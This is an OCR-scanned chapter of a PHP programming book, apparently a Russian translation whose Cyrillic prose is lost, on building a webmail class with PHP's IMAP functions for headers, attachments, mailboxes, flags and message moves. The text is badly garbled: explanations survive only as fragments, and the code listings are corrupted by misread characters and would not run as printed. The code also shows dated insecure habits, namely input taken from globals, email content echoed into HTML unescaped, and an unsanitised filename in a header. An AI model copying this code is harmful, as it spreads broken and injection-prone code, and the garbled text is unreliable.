Webmail . , IMAP, - .


, , imapjieader()
imap_fetchstructure().

432

12.

imap_header()
object imap_header(int stream, int msg_no [, int fromlength , int subjectlength,
string defaulthost])
imap_header() , imap_fetchstructure() . imap_header() , imap_headerinfo().
, , (. 12.2):
12.2,

Date
Subject
message_id
References
toaddress
fromaddress
reply_toaddress
to, from, reply_to

Recent

Unseen

Answered
Deleted

, Date
Subject
Message-ID
References
, From Reply-To

, . , Wankyu Choi <wankyu@whatever.com>:


personal - - Wankyu Choi
mailbox - - wankyu
host - - whatever.com
adl. , , sourcerouting.
R
N
<>
U
<>
, Recent Unseen. , Recent Unseen, ,
,
<>,
D,
<>,

433

Draft

X,
<>,

Flagged

F,
<>,

Msgno

Size

fetchf

From,
fromlength, . , . , From ASCII
IMAP, . ,

fetchsubject

Subject,
subjectlength, . , .
Subject ,
fetchf rom

:
$msg = ; imap_header($stream, : 10, 30, 40);
if ($msg^>Unseen == 'U' | | . $msg->Recent == ' R ' ) {
$flag = "(Unseen)";
} else $flag = "(Seen)";

Date :
$msg_date = gmstrftime("%b %d %Y", strtQtlme($msg->date)').;', ',

From:
$from_addr = $nisg->from[0]->mailbox . "@" . $msg->from[0]->host; : :
if ($msg->from[0]->personal ' ! = ") {
$from_adclr = "From: <a hrefs\"mailto: $from_addr\">" .
$msg->from[0]->personal . "</a>";
} else {
$from_addr = "From: <a href=\"mallto: $from_addr\">$from_addr</a> ";

() :
for .,($1=0; $1 < count($msg->cc); $i++):{
$cc_addr = $msg->cc[$i]-xnai.ib'ox . "
if ($msg->cc[$i]->personal != ") {)

$msg->cc[$i]->host;

$ccs[] = "<a href=\"mailto:$cc_addr\">"

$msg->cc[$i]->

434

12.

personal . "</a>";
} else {
.
$ccs[] = "< href=\"mailto: $cc_addr\">$cc_addr</a>";

?
if (count($ccs) > 0) {
$cc_adr = ": " , implodeC',", $ccs);

:
echo("Date: $msg_date
eclio("From: $from_addr<br>");
if (count($ccs) >0) {
echo("Cc: $cc_adr<br>";

>'-:V'

echo("Size: $msg->Size bytes<br>");


e"cho( "Subject: $msg->subject<br>");

;'

.... ..

V:

imap_header() UID . ID imap_uid( ).

imap_uid() and imap_msgno()


int imap_uid(int stream, int msg_no)
int iraap_rasgno(int stream, int uid)

imap_uid( ) UID , imap_msgno( ) UID.


imap_fetchstructure()
, imap_header( ).
\

imap_fetchstructure()
object imap_fetchstructure(int stream, int msg_no [, int flags])
.
FT_UO, msg_no UID .

. :
type - Content-Type,

435

type :

0
1
2
3

Text
Multipart
Message
Application

4
5
6
7

Audio
Image
Video
Other

encoding- Content-Transfer-Encoding,

encoding :

0
1
2

7bit
8bit
Binary

3
4
5

base64
quoted-printable
Other

if subtype - true,
subtype - MIME
if id -true, Message-ID
id - Message-ID
lines -
bytes -
if parameters -true, parameters
parameters - , MIME

parameters , , a t t r i b u t e value.
/, Content-Type . :
Sstruct = imap_fetchstructure($stream, 10);
Sparam = $struct->parameters[0];
echo($parara->attribute); // BOUNDARY
echo($param->value); // 123456789
parts - ,
parts - , .
parts .
,
:
Sstruct = imap_fetchstructure($stream, 10);.
$num_parts = count($struct->parts) - 1;

436

12.

if ($num_parts > 0) {
; echo( "Message 10 has attachment(s)! "');
;
} else {
echo("Message 10 has no attachment!");
}
,
, ,
ASCII. ASCII, =? ?=.
:
ASCII .
/b Q/q.
base64, Q - quoted-printable:
From: =?ISO-8859-1?Q?Petr=E9?=<nevermind@a.'com>
From quoted-printable ISO -8859-1:

From: =?ks_c_5601-1987?B?w9a/z7HU?=<wankyu@whatever.com>
Subject : , =?ks_c_5601-1987?B?wcu828fVtM+02S4g?=
From Subject se64 ks_c_5601_1987 .
,
imapjnime_header_decode().

imap_mime_header_decode()
array imapjnime_header_decode(string var)
,
: charset text.
,
From:
Sheader = "=?ks_c_560l-1987?B? w9a/z7HU?= <wankyu@whatever.com>";
$dec_array = ima:pjnime_header_decode($header);
echo( "Charset: " . $dec_array[0]->charset . "<br>");
echo( "Decoded text: " . $dec_array[0]->text);



US-ASCII, charset
default.

Charset: ks_c_5601-1987
Decoded text "
. 12.1.
imap_mime_header_decode()

437

, ,
.
imap_sort().

imap_sort()
array imap_sort(int stream, int criteria, int reverse, int flags)
. ,
reverse true.
criteria (. 12.3):
12.3. criteria

SORTDATE

Date

SORTARRIVAL

SORTFROM

From

SORTSUBJECT

Subject

SORTTO

SORTCC

SORTSIZE

flags, , (. 12.4):
12.4. flags

SEJJID
SE NOPREFETCH

UID .
.
UID ,
.
UID . .

,
:
$msgs = imap_sort($stream, SORTSUBJECT, 1, , SE_NOPREFETCH);
if (!is_array($msgs)) {

438

12.
return "No message or error occurred while fetching messages!";
> else {
$str = ";
}
foreach ($msgs as $msg_no) {
$msg = imap_header($this->stream, $msg_no);
$str .= "$msg->subject<br>";

>

return $str;

, .

Webmail
Webmail , .

. . $ reverse false.
Webmail :
.// webmail_class_ver2.php
class Webmail
.:..{
var Ssort = 'SORTDATE';
var Sreverse = ;0|
:
var $ERR_STR_MAILBOX_STATUS_ERROR = 'Cannot get stat for the mailbox!';
var $STR_NO_SUBJECT = 'NO SUBJECT'; .
var $STR_NO_FROM = 'UNKNOWN';

initQ
init()
SGLOBALS. $sort .
function
' init($host, $protocol='imap', $port=143, $userid,$userpassword)
, , :
if (isset($GLOBALS["sort"])) $this->sort = $GLOBALS["sort"];
if (lsset($GLOBALsi"reverse"]))

439

$tfiis-> reverse = $GLOBALS[" reverse"];

getMsgListQ
getMsgList( ) ,
.
$so rt , ,
SORTDATE:
function getMsgList($read action, $mail_action)
{
$msgs = @imap_sort($this->stream, $this~>sort,
$this->reverse, SE_NOPREFETCH);
$msgs , ,
:
if (!is_array($msgs)) return false;
:
for ($1=0; $1 < count($msgs); $!) {
, UID :
":.. .$msg = @imap_header($this->stream, $msg_no);
$arr[$i]["no"] = $msg_no = $msgs[$i];
$arr[$i]["uid"3 > $msg_uid = imap_uid($this->stream, $msg_no);
?
if ($msg->Unseen == 'U' | | $msg->Recent == 'R') {
$arr[$i]["unseen"] = true;
} else {
$arr[$i]["unseen"] = false;
Date , . . strtotime( )
UNIX :
$arr[$i]["date"] = gmstrftime("%b %d %Y", strtotime($msg->date));
:
Sstruct = @imap_fetchstructure($this->stream, $msg_no);
parts . , ,
, @:

440

12.

":

$num_parts = count ($structparts) - 1;


if ($num_parts > 0) $msg_prefix = "@";
else $msgj>refix = ";

MIME. decodeHeader()
, , ASCII:
if (empty($ii)sg->subject)) {
$arr[$i]["subject"] = $this
->buildllrl("$read_action&msg_uid=$msg_uid&mailbox=
$this->mailbox", $this->STR_NO_SUBJECT); :
: } else {
$msg_subject = $this->decodeHeader($msg->subject);
$arr[$i]["subject"] = $this>buildU rl ( "$read_action&msg_uid=$msg_uid&mailbox=" .
"$this->mailbox", "$msg_prefix$msg^subject");!;: :

makeAdd ress( ) , , ,
:
if (empty($msg->from)) {
$arr[$i]["from" ] = $this->STR_NO_FROM;
} else {
$arr[$i]["from"] = $this->makeAddress($msg->from,
"$mail_action&msg_uid=$msg_uid&mailbox=$this->mailbox");
return $arr;

>

getMsg( ) .
.

makeAddressQ
makeAddress( ) ,
, . $action, :
function makeAddress($emails, Saction)
".'.:'. (
if (!is_array($emails)) return;
foreach ($emails as $email) {
From :
Spersonal = $this->decodeHeader($email->personal);
$address = $email->mailbox . "@" . $email->host;
if (iempty($personal)) {

441

"$arr[] = $this->buildllrl("$action&email=$address", Spersonal);


} else {
$arr[] = $this->buildUri("$action&einail=$address", Saddress);

: ;

return implodeC,', $arr);

}. ;; ;..;';

'

-..''. "J'

& - ',

decodeHeaderQ
decodeHeader( ) :
function decodeHeader($arg)
{
$dec_array = imap_minie_header_decode($arg);

text :
foreach ($dec_array as $obj) $arr[]= $obj->text;
if (count($arr) >0) return implodeC', $arr);
else return $arg;

buildUrl()
buildUrl( ) URL,
. , $oncllck ,
JavaScript:
function buildUrl($options, Slink, $onclick='')
{
global $PHP_SELF;
if (! empty (Sonclick)) $onclick = " OnClick=\"$onclick\"";
: return "<a href=\"$PHP_SELF?$options\"$onclick>$link</a>" ;

Webmail
Webmail,

. news.php.net
, php.test.
:
<?
// webmail_class_test2.php
,,Vinclude "./webmail_class_ver2,php";
class My_Webmail extends Webmail

12.

442

function start()
$msgs = $this->getMsgList('readMsg','mailForm');
if (!$msgs) return false;
$ret_str = ";
foreach ($msgs as $msg)
$ret_str .= $msg["sub]ect"] . " - " . $msg["from"] . "
return $ret_str;

$host = "news.php.net";
Sprotqcol - "nntp";
Sport = 119;
Suserid = "";
Suserpassword = "";
$mailbox = 'php.test';
$wmail = new My_Webmail();
if (!$wmail->init($host, $protocol, $port, Suserid, $userpassword)) {
echo($wmail->errorMsg());
}

Slist = $wtnail->start();
if (!$list) {
echo($wmail->errorMsg());
} else echo(Slist);
$wmail->end();

'

(. 12.2):
TJ hltp:

localhost ProPHP4/Chapterl2/webmait_tla<iS te

lU Hte 6*

Sear* gp B*mark5 lesks Help

Testing - don't read - Mark Britton


Ttst-AlanMorey
Test - Fea
Rt Testeia - don'l read - D^rm Custara
Ttst; - tars Maaie
another test - Jtm Winstead
this is a if - Jim Winstead
Ofijt morg tame - Jim Wmstead
lest - Peter Fartre
nog maar gens test - Peter Fastre
jcafdi - Karol NowAewsto
Odp: lurol - Krol Nowkowiki
ten ^ roei - Prter Fatfre

. 12.2. Webmall

443

, php. test . .


, ,
imap_fetchbody().

imap_fetchbody()
srting imap_fetchbody(int stream, int msg_no, string part_no [, int flags])
IMAP . , , imap_fetchbody().
part_no ,
. . ,
0, 1 . . ,
.
(HEADER), MIME (MIME) (TEXT),
, 1..
, 1
. 2. 0 :
PHP imap_f etchbody () , "1 .HEADER".
part_no , .
, , .
:

FT_UID

, msg_no TJID.

FT.PEEK

\Seen, .

FT_INTERNAL

(\) CRLF.
.
imap_body() , . , :
string imap_body(int stream, int msg_no [, int flags])

444

12.

flags , imap_fetchbody(). imap_fetchstructure() imap_fetchbody() .


MIME,
. , , imap_base64() imap_qprint().

imap_base64() imap_binary()
string imap_base64(string var)
base64.
string imap_binary(string var)

imap_binary() , .

imap_qprint() imap_8bit()
string imap_qprint(string var)

quoted-printable
imap_qprint().
string imap_8bit(string var)

imap_8bit() ,
8bit.
/. (http://p2p.wrox.com/content/phpref/) , / .

Webmail
:
getMsg() downloadAttachment(). , .


$msg_no $msg_uid
UID , a $part_no , . , , :
// webmail_class_ver3.php
class Webmail

445

var $msg_no = 0;
var $msg_uid = 0;
var $part_no = 0;

$f ilename ,
. Content-Disposition , ,
:
var $f ilename = ' ' ;

:
var $ERR_STR_MSG_NO_INVALID = 'Invalid Message Number!';
var $ERR_STR_MSG_UID_INVALID = 'Invalid Message UID! ';

, :
function init()
{
$this->msg_no = $GLOBALS["msg_no"];
$this->msg_uid = $GLOBALS["msg_uid"];
$this->f ilename = $6LOBALS[ "filename"];
$thls->part_no = $GLOBALS["part_no"];

getMsg()
, , . , .
, ,
:
function getMsg($download_action, $mail_action)
{
$download_action ,
, a $mail_action :
if (!$this->msg_uid) {
$this->buildErrorMsg($this->ERR_STR_MSG_UID_INVALID,
imap_last_error());
return false;

446

12.
}

$msg_np = imap_msgno($this->stream, $this->msg_uid);

, :
Sheaders = @imap_header($this->stream, $msg_no);
if::(!$Headers) { : : :
$tnts->buildErrorMsg($this->ERR_STR_MSG_NCtINVAg:D;
imap_last_error());

return false;

:;

: :

Date:
$arr["date"] = gmstrftime("%b %d %Y %H:%M:%S", strtotime
($headers->date));
, :
$arr["raw_from"] = $this->decodeHeader($headers->fromaddress);
$arr["raw_cc"] = $this->decodeHeader($headers->ccaddress);
$arr["from"] = $this->makeAddress($headers->from,
"$mail_action&msg_uid=$this->msg_uid&mailbox=$this->mallbox");
$arr["cc"] = $this->makeAddress($headers->cc,
"$mail_action&msg_uid=$this->insg_uid&rnailbox=$this->niailbox");

Subject:
$arr["subject"] = $this->decodeHeader($headers->subject);
if (empty($arr["subject"])) $arr["subjecf] = $this->STR_NO_SUBJECT;

.
Message-ID References:
$arr["message_id"] = $headers->message_id;
$arr["references"] = $headers->references;

, :
:

$struct = @imap_fetchstructure($this->streaffl, $this->msg_uid, FT_UID);

parts . $html - , ,
HTML:
$arr["num_parts"]. = count($struct->parts) - 1;
$html = 0;
3 base64, 4 quoted-printable:

447

if($struct->parts[Q]->encoding == 3) {
$arr["body"] = ifflap_base64(lmap_fetchbody($this->stream,
$this->msg_uid, 1, FTJJID));
:
if (strtolower($struct->parts[0]->subtype) .== 'html') $html = 1;
} else if ($struct->parts[0]->encodlng == 4) {
.$arr["body"] = imap_qprint(imap_fetchbody($this->stream,
$this~>rnsg_uid, 1, FT_UID));
if (strtolower($struct->parts[0]->subtype) == 'html') $html = 1;
'"': } else {
if ($struct->encoding == 3) {
$arr["body"] = imap_base64(imap_fetchbody($this->stream,
$this->msg_uid, 1, FTJJID));
if (strtolower($struct->subtype) == 'html') $html = 1;
} else if ($struct->encoding = = 4 ) {
$arr["body"3 = irnap_qprint(imap_fetchbody($this->stream,
$this->msg_uid, 1, FT_UID));
if (strtolower($struct->subtype) == 'html') $html = 1;
} else {
$arr["body"] = imap_fetchbody($this->stream,
$this->insg_uid, 1, FTJJID);
if (strtolower($struct->subtype) == "html') $html = 1;
}
>'-' '

::

'

'

, . ( HTML),
:

if (!$html) {
$arr["body"] = str_replace("\r\n", "<br>", $arr["body"]);
$arr["body"] = eregi_replace( "http://([-a-zO-9\_\./"@?=%(&amp;)|]+)",
"<a href=\' http://\\1\">http://\\K/a>", $arr["body"]);
$arr["body"] = eregi_replace(
"ftp://([-a-zO-9\_\./'@?=%&arap;]+)",
"<a href=\"ftp://\\1\">ftp://\\K/a>", $arr["body"]);
$arr["body"] = eregi_replace(
"([-a-zO-9\_\.]+)@([-a-zO-9\_\.]+)",
"<a href=\"$PHP_SELF?$mail_action&email=\\1@\\2\">\\1@\\2</a>",
$arr["body"]);

. > ..'''.V' ' "

...':

' - : .',' '""::

". '

' fe :

, :
for ($1=0; $i< count($struct->parts); $i++) {

parameters NAME,
:
foreach ($struct->parts[$i]->parameters as $attr)
if (strtolower($attr->attribute) == 'name') {
Sfilename = $this->decodeHeader($attr->value);
break;

448

12.
$arr["parts"][$i] =
$this->buildllrl("$download_action&".
"mailbox=$this->mailbox&".
"msg_uid=$this->msg_uid&".
"part_no=$i&filename=$filename", $filename);

}
return $arr;

downloadAttachment()
,
-:
function downloadAttachmentO
{

Istruct = @imap_fetchstructure($this->stream, $this->msg_uid, FT_UID);


if (!$struct) {
$this->buildErrorMsg($this->ERR_STR_MSG_UIO_INVALID .
; $this->msg_UID, imap_last_error());
return false;

:
switch ($struct->parts[$this->part_no]->type) {
case 0: $type = 'text';
break;
case 1: :$type = 'multipart';
break;
case 2: $type = 'message 1 ;
break;
case 3: $type = 'application';
break;
:

case : 4: $type = 'audio';


break;

case 5: $type = 'image';


break;
case 6: $type = 'video';
break;
default: $type = 'other';
break;
gif-, type
image, a subtype gif :
Ssubtype = $struct->parts[$tliis->part_no]r>subtype;

449

header( ), HTML:
header( "Content-Type : $type/$subtype" ) ;

Content-Disposition ,
filename:
header ("Content-Disposition: ;filename=$this->filename");
"Content-Disposition: attachment; filename=$this->filename". , IE,
, "attachment".
"inline".

:
if ($struct->parts[$this->part_no]->encoding == 3) {
echo(@imap_base64(imap_fetchbody($this->stream, $this->msg_uid,
$this->part_no+1, FTJJID)));
} else if ($struct->parts[$this->part_no]->encoding == 4) {
//QUOTED J^INTABLE
echo(@imap_qprint(imap_fetchbody($this->stream, $this->msg_uid,
$this->part_no-H, FTJJID)));
} else {

echo(@imap_fetchbody($this->stream, $this->msg_uid,
$this->part_no+1, FTJJID));

}
return true;

Webmail
Webmail. ,
:
<?php
// webmail_class_test3.php
include( " . /webmail_class_ver3. php" ) ;
class Myjrtebmail extends Webmail
start(). ,
Saction :
function start($action)

15.989

450

12.

switch ,
Section:
switch($action) {
case 'readMsg' :
, ,
We bma il:
$msg = $this->readMsg();
if (!$msg) return false;
echo($msg);
break;

:
case 'downloadAttachment' :
if (!$this->downloadAttachfnent()) return 0;
; ..''.'
break; .
'. : ;J. '';:-:.;?';; . '
default:
$msgs = $this->getMsgList( 'action-readMsg' , 'action=mailForm');
if (!$msg) return false;
foreach ($msgs as $msg)
echo($msg["subject"] . " - " . $msg["from"] . "<
break;

, readMsg () getMsg( ):
function readMsgO)
action, getMsgO ,
:
$msg = $this->getMsg('action=downloadAttachment',
'action=mailForm&mode=reply ' );
if (!$msg) return false;
$ret_str = "<strong>From: </strong>" . $msg["from"] . "<br>\n";
if (!empty($msg["cc"J)) $ret_str .= "<strong>Cc: </strong>" .
$msg["cc"] . "<br>\n";
$ret_str .= "<strong>Subject: </strong>" . $msg["subject"] . "<br>\n";
$ret_str = "<brxbr>\n";
$ret_str . = "<blockquote>" . $msg["body"] . "</blockquote><br>\n";
if ($msg["num_parts"] > 0) {

451

$ret_str .= "<centerxhr width=\"90%\" size=\"1\"></center>\n"


for ($i = 0; $i < count($msg["parts"]); $i++) $ret_str .=
$msg["parts"][$i] . "<br>\n'Y
return $ret_str;

: $host = :"mail. whatever, com";


Sprotocol = "imap";
$port = 143;
Suserid = "wankyu";
Suserpassword = "12345";

:,.

,,:

$wmail = new My_Webmail();


if (!$wmail->init($host( Sprotocol, $port, Suserid, Suserpassword))
echo($wmail->errorMsg());
start(), $action,
:
if (!$wmail->start($action)) {
echo($wmail->errorMsg());

; >

. ' ' ..', ".,,- , .

$wmail->end();

,
Webmail (. 12.3):
st/1'roPHP^/r.haplerlz/webmell
: Ete I* Be Sewch go Eo*marks Tasks tW>

' From; Wankyu Choi


' Cc: yonsuk@wfaodse.com
: Subject: Here goes picture)

Here goes my picture!


Sendmeyeursl

. 12.3. Webmail
.

452

12.


, IMAP
, . , ,

INBOX.


imap_listmailbox().

imapJistmailboxQ
array imap_listmailbox(int stream, string ref, string pattern)

, .
ref , , , "{mail/whatever.com}work".
NNTP
: " {news. php. net/nntp: 119}".
pattern : "*" "%". "*",
, "%" , :
// $mboxes : INBOX, work, Jan
$mboxes = imap_listmailbox($stream, "{mail.whatever.com/imap:143}work", "*");
// $mboxes , : Jan
Smboxes = imap_listmailbox($stream, "{mail.whatever.com/imap:143}work", "%");
wankyu ,
, -. ,
ASCII, imap_utf7_decode().

imap_utf7_encode() and imap_utf7_decode


string imap_utf7_encode(string var)

imap_utf7_encode() 8-
7- ASCII (UTF-7).
, , ASCII. , , , :
string imap_utf7_encode (string var)

453

imap_utf7_decode(): -ASCII (UTF-7) 8- .


false,
UTF-7.
imap_createmailbox().

imap_createmailbox()
int imap_createmailbox(int stream, string mailbox)
, .
t r u e false .
, ASCII, imap_utf 7_encode().
mailbox , .
. ,
Jan work :
$newbox = "Jan";
if (!imap_create($stream "(mail.whatever.com}work/$newbox"))
'..echo("Failed!" . imap_last_error());
else ("Successfully created $newbox!");
imap_deletemailbox().

imap_deletemailbox()
int imap_deletemailbox(int stream, string mailbox)
true
false .
, , imap_open(). , ,
.

imap_renamemailbox()
int imap_renamemailbox(int stream, string oldjnailbox, string newjnailbox)

. oldjnailbox newjnailbox, true false .



imap_status().

imap_status()
object imap_status(int stream, string mailbox, int flags)

454

12.

, . flags :

SA_MESSAGES

messages

SA_RECENT

recent

SA_UNSEEN

unseen

SAJJIDNEXT

uidnext UID,
SA_UIDVALIDITY
uidvalidity UIDVALIDITY,
UID
, SA_ALI_:
Sstatus = imap_status($stream, "{mail.whatever.coro/imap/143/work}", SA_ALL);
echo($status->messages . " message(s) in the mailbox.<br>");
echo($status->recent . " Recent.<br>");
echo($status->unseen ... " Unseen.<br>");

,
Webmail
Webmail .


$del_mailbox , ; $old_mailbox $new_mailbox ,
. $new_mailbox
. Webmail:
// webmail_class_ver4,php
class Webmail
{
var $del_mailbox = '';
var Soldjnailbox = '';
var $new mailbox = '';

455

:
var $ERR_STR_CANT_CREATE_MAILBOX = "Can't create the mailbox!1
var $ERR_STR_CANT_RENAME_MAILBOX = "Can't rename the mailbox!
var $ERR_STR_CANT_DELETE_MAILBOX = "Can't delete the mailbox!

init( ) :
function init($host, $protocol='imap', $port=143, Suserid, $userpassword)

, ,
ASCII, :
$this->mailbox = imap_utf7_ericode($GLOBALS["mailbox"]);
, ,
:
$this->del_mailbox = imap_utf7_encode($GLOBALS["del_mailbox"]);
$this->old_mailbox = imap_utf7_encode($GLOBALS["old_mailbox"]);
$this->new_mailbox = imap_utf7_encode($GLOBALS["new_mailbox"]);

getMailboxList()
. $return_raw true,
:
function getMailboxList($ref=" , $return_raw=0)

,
INBOX:
if ($this->protocol == '') {
if. ($return_raw) {
return $raw_mbox_array = array("\{$this->host}INBOX");
} else {
$mbox_array[' INBOX'] = 0;
return $mbox_array;

NNTP, :
else if ($this->protocol =='nntp') $mailboxes =
@imap_listmailbox($this->stream, "\{$this->host/

456

12.
$thls->protocol:$this->port}", "*");
else $mailboxes = @imapj.istmailbox($this->stream, "\{
$this->host}$ref", "*");

false:
if (!$mallboxes) {
$this->buildErrorMsg($this->ERR_STR_MAILBOX_NOT_ AVAILABLE,
imap_last_error());
return false;
}

foreach ($mailboxes as $mbox) {


, :
$mbox_name = imap_utf7jjecode(eregi_replace("\{.*\}", "", $mbox));
$raw_mbox_array[] = $mbox_name;
'

if ($this->protocol=='nntp' ) {
$status = @imap_status($this->stream, Smbox, SA_UNSEEN);
} else Sstatus = @imap_status($this->stream, $mbox, SAJJNSEEN);
if (!$status) {
$this->buildErrorMsg($this->ERR_STR_MAILBOX_STATUS_ERROR,
imap_last_error());
return false;

$mbox_array - , , :
$mbox_array[$mbox_name] = $status->unseen;
}

if ($return_raw) return $raw_mbox_array;


else return $mbox_array;

createMailboxQ
, , $new_mailbox.
, /, -:
function createMailbox()
{
if ($tnis->protocol == 'nntp' || $this->protocol == '' ||
$this->new_mailbox == 'INBOX') {

457

$this->buildErrorMsg($this->ERR_STR_CANT_CREATE_MAILBOX,

$this->new_mailbox);
return false;
if (!@imap_createmailbox($this->strea(n, "{\$this->host}
$this->new_mailbox")) {
$this->buildErrorMsg($this->ERR_STR_CANT_CREATE_MAILBOX,
imap_last_error());
return false;
return true;
}

renameMailboxQ
,
$old_mailbox $new_mailbox:
function renameMailbox()
if ($this->protocol == 'nntp' || $this->protocol == '' ||
$this->new_mailbox == 'INBOX') {
$this->buildErrorMsg($this->ERR_STR_CANT_RENAME_MAILBOX,
$this->new_mailbox);
return false;
if (!@imap_renamemailbox($this->stream, "{\$this->host}
$this->old_fflailbox", "{\$this->tiost}$this->new_mailbox")) {
$this->buildErrorMsg($this->ERR_STR_CANT_RENAME_MAILBOX,
imap_last_error());
return false;
return true;

deleteMailboxQ
, $del_mailbox:
function deleteMailbox()
{
if ($this->protocol == 'nntp' || $this->protocol == '' ||
$this->del_mailbox == 'INBOX') {
$this->bulldErrorMsg($this->ERR_STR_CANT_DELETE_MAILBOX,
$this->del_rnailbox);
return false;
}
if (!@imap_deletemailbox($this->stream, "{\$this->host}
$this->del_mailbox")) {

458

12.
$this->buildErrorMsg($this->ERR^STR_CANT_DELETE_MAILBOX,
imap_last_error());
return false;

return true;

:. ';'. ...-"

:';:

' '', -'-;

, . -,:' , :C.


IMAP .
, IMAP,
\Deleted. , . (, ) , imap_delete() imap_setflag_full().

imap_delete()
int imap_delete(int stream, int msg_no [, int flags])
.
true. flags FT_UID,
, msg_no UID. , , imap_expunge() imap_close()
CL_EXPUNGE.
-

imap_expunge()
Int imap_expunge(int stream)

, . 10:
if (!imap_delete($stream, 10)) echo("Error deleting the message!");
else imap_expunge($stream); // same as imap_close($stream, CL.EXPUNGE)
,
imap_setf l a g _ f u l l ( ) , .

imap_setflag_full()
string iraap_setflag_full(int stream, string msg_set, string flag, int flags)

. msg_set :
: 5
: 1 , 2 , 3 , 4

459

: 2:10
: 1,2,5:10
"*": , 1,
1:*
escape-
, \\Deleted. ,
, \\Seen \\Answered \\Flagged.
flags ST_UID,
msg_set UID. ,
.
10
"\Seen" "\Flagged":
imap_setflagj:ull($stream, "10:*", '\\Seen \\Flagged');
, imap_delete(),
, imap_undelete() imap_clearf lag_f ull(), "\Deleted".

imap_undelete()
int imap_undelete(int stream, int msg_no)
"\Deleted". imap_clearflag_full().

imap_clearflag_full()
string imap_clearflag_full(int stream, string msg_set,
string flag, int flags)
. ST_UID , , msg_set UID.
- 10, :
imap_undelete($stream, 10);
:

ifnap_clearflag_full($stream, 10, "\\Deleted");


MUA Deleted Trash, . ,
, , . imap_mail_move() imap_mail_copy().

460

12.

imap_mail_move() imap_mail_copy()
int imap_mailjnove(int stream, string msg_set, string mailbox [, int flags])

imap_mail_rnove()
. flags CP_UID,
, msg_set UID.
t rue false .
, imap_close() CL_EXPUNGE imap_expunge(). imap_mail_move() - imap_mail_copy() :
int imap_mail_copy(int stream, string msg_set, string mailbox [, int flags])
true false .
.
f l a g s CP_MOVE,
.
:
imapjnailjnove($stream, "5:10", "{mail.whatever.com}work");
imap_mail_copy($stream, "5:10", "{mail.whatever.comjwork", CPJIOVE);
- imap_append().
.

imap_append()
int imap_append (int stream, string mbox, string msg [, string flags])
,
, , t r u e
false . flags .
, . .

,
Webmail
Webmail, .


:
//webmail_class_final.php


var
var
var
var
var
var

461

$ERR_STR_CANT_OELETE_MESSAGE = "Can't delete the message!";


$ERR_STR_CANT_UNDEIETE_MESSAGE = "Can't undelete the message!";
$ERR_STR_CANT_COPY_MESSAGE = "Can't copy the message!";
$ERR_STR_CANT_MOVE_MESSAGE = "Can't move the message! ";
$ERR_STR_CANT_SET_FLAGS = "Can't set the flags!";
$ERR_STR_CANT_UNSET_FLAGS = "Can't unset the flags!";

appendMailQ

:
function appendMail($mail_str, Smailbox)
{
if (!@imap_append($this->stream,
; "{\$this->host}$mailbox", $mail_str)) {
$this->buildErrorMsg(imap_last_error());
return false;
> else return true;

deleteMailMsgQ
. , imap_delete( ), , :
function deleteMailMsg($msg_set)
{
if (!@imap_setflag_full($this->stream, $msg_set, "\\Deleted", STJjID)) {
$this->buildErrorMsg($this->ERR_STR_CANT_DELETE_MESSAGE,
imap_last_error());
return false;
}
return true;

undeleteMailMsgQ
"\Deleted" :

function undeleteMailMsg($msg_set)
{
if (!@imap_clearflag_full ($this->stream, $msg_set,
"\\Deleted", ST_UID)) {
$this->buildErrorMsg($this->ERR_STR_CANT_UNDELETE_MESSAGE,
imap_last_error());
return false;
:
>.
return true;

462

12.

copyMailMsg()
:
function copyMailMsg($msg_set)
':,,:/;

.;'

V ''{:

if (!@imap_mail_c6py($this->stream, $msg,set,

::':.' ^
:

"{$this->server}$this->new^mailbox",: CP_UID)) {
$this->buildErrorMsg($this->ERR_STR_CANT^COPY_MESSAGE,
imap_last_error());.
return false;
: }"'
:
return true.;

moveMailMsgO
.
imap_copy_mail() 1_VE. imapjnail_move( ):
function moveMailMSg($msg_set)
../

{'

' :?.:

if (!@imap_mail_copy($this->stream, $msg_set,

:"{$this->server}$this->newjnailbox", CP_UID | CP_MOVE)) {


; $this->buildErrorMsg($tniS->ERR_STR_CANT_MOVE_MESSAGE, ,,
imap^last^errorO);

return false;
} :
;.:'.':
@imap_expunge($this->stream);
return true;

, : ;: '"';". >;f,

setMsgFlag()
:

function setMsgFlag($mSg_set, Iflags)


{

if (!@imap_setflag_full($this->stream, $msg_set, Iflags, ST_UID)) {


$this->buildErrorMsg($this->ERR_STR_CANT_SET_FLAGS, imap_last_error());
return false;
}
return true;

clearMsgFlag()
:
function
clearMsgFlag($msg_set,
$flags)
'
'

" "'

"

'

463

if (!@imap_clearflag_full($thls->streainr $msg_set,
Iflags, STJJID)) T
$this->buildErrorMsg($this->ERR_STR_CANT_UNSET_FLAGS,

irnapj.ast_error());

return false;
.;.}'.:.

" ' ' '

, return true;

:;

. , -, Webmail,
, NNTP.
, - .

,
-
- : . ,
Webmail, . , -, , .
Webmail
start(). Webmail
:
// webmail.php
include( " . /webmail_class_f inal . php" ) ;
class Myjtebrnail extends Webmail

, -,
mail( ) SMTP. , ,
:
var $sendmail_class =. 'm
var $smtp_class = 'my_smtp_mime_mail';
NNTP, :
.var $nntp_class = 'my_nntp';

464

12.

SMTP, :
var $smtp_host = ' ' ;
var $smtp_port = 24;

:
var $sent_mailbox = ',';

, .
,
:
var $msg_per_page - 10;

-, :
var $HTML_TITLE = 'Welcome to My Webmail!';
var SCHARSET = 'EUC-KR';

:
var $STR_NO_MESSAGE = 'No message.';
var $ERR_STR_NO_UIDS = 'No message selected! ';

startQ
start() . $action , . true
false :
function start($action)
{
switch($action) {
case 'readMsg':
$msg = $this->readMsg();
if (!$msg) return 0;
return $this->interface('', $msg);
break;
case 'downloadAttachment':
if (!$this->downloadAttachment()) return false;
break;
case 'createMailbox':
if (!$this->createMailbox()) return false;
return $this->interface(", ");

465

break;

case 'renameMailbox':
if (!$this->renameMailbox()) return false; ,,.' '
return $this->interface(", ");
break;
case 'deleteMailbox':
if (!$this->deleteMailbox()) return false;
return $this->interface('', '');
break;
case 'copyMsg':
if (!$this->copyMsg()) return false;
return $this->interface('', '');
break;
case 'moveMsg':
if (!$this->moveMsg()) return false;
return $this->interface('', '');
break;
case 'deleteMsg':
if (!$this->6eleteMsg()) return false;
return $this->interface( ".,' '');
break;
case 'mailForm':
return $this->interface('', $this->mailForm());
-.::.
break;

::

case 'mail':

return $this->sendWebmail();
break;

default:
return $this->interface(");
break;
}

:,

return true;

interface()
i n t e r f a c e ( ) ,
: , - . (. . 12.4).
interface() , , - . , , HTML,
interface():

466

12.
function interface($first_col, $second_col=' ')
<.

ImailboxeS = $this->listMailbox();
if (!$mailboxes) return false;

$first_col = $mailboxes . $this->createMailboxForm()


$this->menu() . $first_col;
if (empty($second_col)) {
$msgs = $this->listMsg(); >,
